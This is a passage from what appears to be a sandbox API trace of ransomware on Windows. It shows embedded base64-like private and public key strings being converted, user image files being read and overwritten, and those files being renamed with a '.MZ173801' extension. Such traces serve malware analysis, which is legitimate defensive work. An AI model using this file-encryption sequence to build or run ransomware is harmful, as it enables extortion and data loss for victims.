pvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.731] GetCurrentThreadId () returned 0xab4 [0153.731] GetCurrentThreadId () returned 0xab4 [0153.731] GetCurrentThreadId () returned 0xab4 [0153.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.733] GetCurrentThreadId () returned 0xab4 [0153.733] GetCurrentThreadId () returned 0xab4 [0153.733] GetCurrentThreadId () returned 0xab4 [0153.733] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\psR4.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\psr4.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.734] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0153.734] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.734] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x974d [0153.734] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.734] ReadFile (in: hFile=0x2f8, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0x974d, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19f74c*=0x974d, lpOverlapped=0x0) returned 1 [0153.735] CloseHandle (hObject=0x2f8) returned 1 [0153.736] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\psR4.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\psr4.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.737] WriteFile (in: hFile=0x2f8, lpBuffer=0x24edd50*, nNumberOfBytesToWrite=0x974d, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24edd50*, lpNumberOfBytesWritten=0x19f758*=0x974d, lpOverlapped=0x0) returned 1 [0153.739] CloseHandle (hObject=0x2f8) returned 1 [0153.743] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\psR4.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\psr4.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\psR4.jpg.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\psr4.jpg.mz173801")) returned 1 [0158.315] GetCurrentThreadId () returned 0xab4 [0158.315] GetCurrentThreadId () returned 0xab4 [0158.315] GetCurrentThreadId () returned 0xab4 [0158.315] GetCurrentThreadId () returned 0xab4 [0158.315] GetCurrentThreadId () returned 0xab4 [0158.315] GetCurrentThreadId () returned 0xab4 [0158.315] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1461a0, ftCreationTime.dwHighDateTime=0x1d5e734, ftLastAccessTime.dwLowDateTime=0x4860db30, ftLastAccessTime.dwHighDateTime=0x1d5eaf2, ftLastWriteTime.dwLowDateTime=0x4860db30, ftLastWriteTime.dwHighDateTime=0x1d5eaf2, nFileSizeHigh=0x0, nFileSizeLow=0x4df4, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="PurPDfKeeDvp_IIQ.png", cAlternateFileName="PURPDF~1.PNG")) returned 1 [0158.315] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0158.315] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0158.315] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\PurPDfKeeDvp_IIQ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\purpdfkeedvp_iiq.png"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1461a0, ftCreationTime.dwHighDateTime=0x1d5e734, ftLastAccessTime.dwLowDateTime=0x4860db30, ftLastAccessTime.dwHighDateTime=0x1d5eaf2, ftLastWriteTime.dwLowDateTime=0x4860db30, ftLastWriteTime.dwHighDateTime=0x1d5eaf2, nFileSizeHigh=0x0, nFileSizeLow=0x4df4)) returned 1 [0158.315] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\PurPDfKeeDvp_IIQ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\purpdfkeedvp_iiq.png")) returned 0x20 [0158.315] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\PurPDfKeeDvp_IIQ.png", dwFileAttributes=0x80) returned 1 [0158.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d21ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMO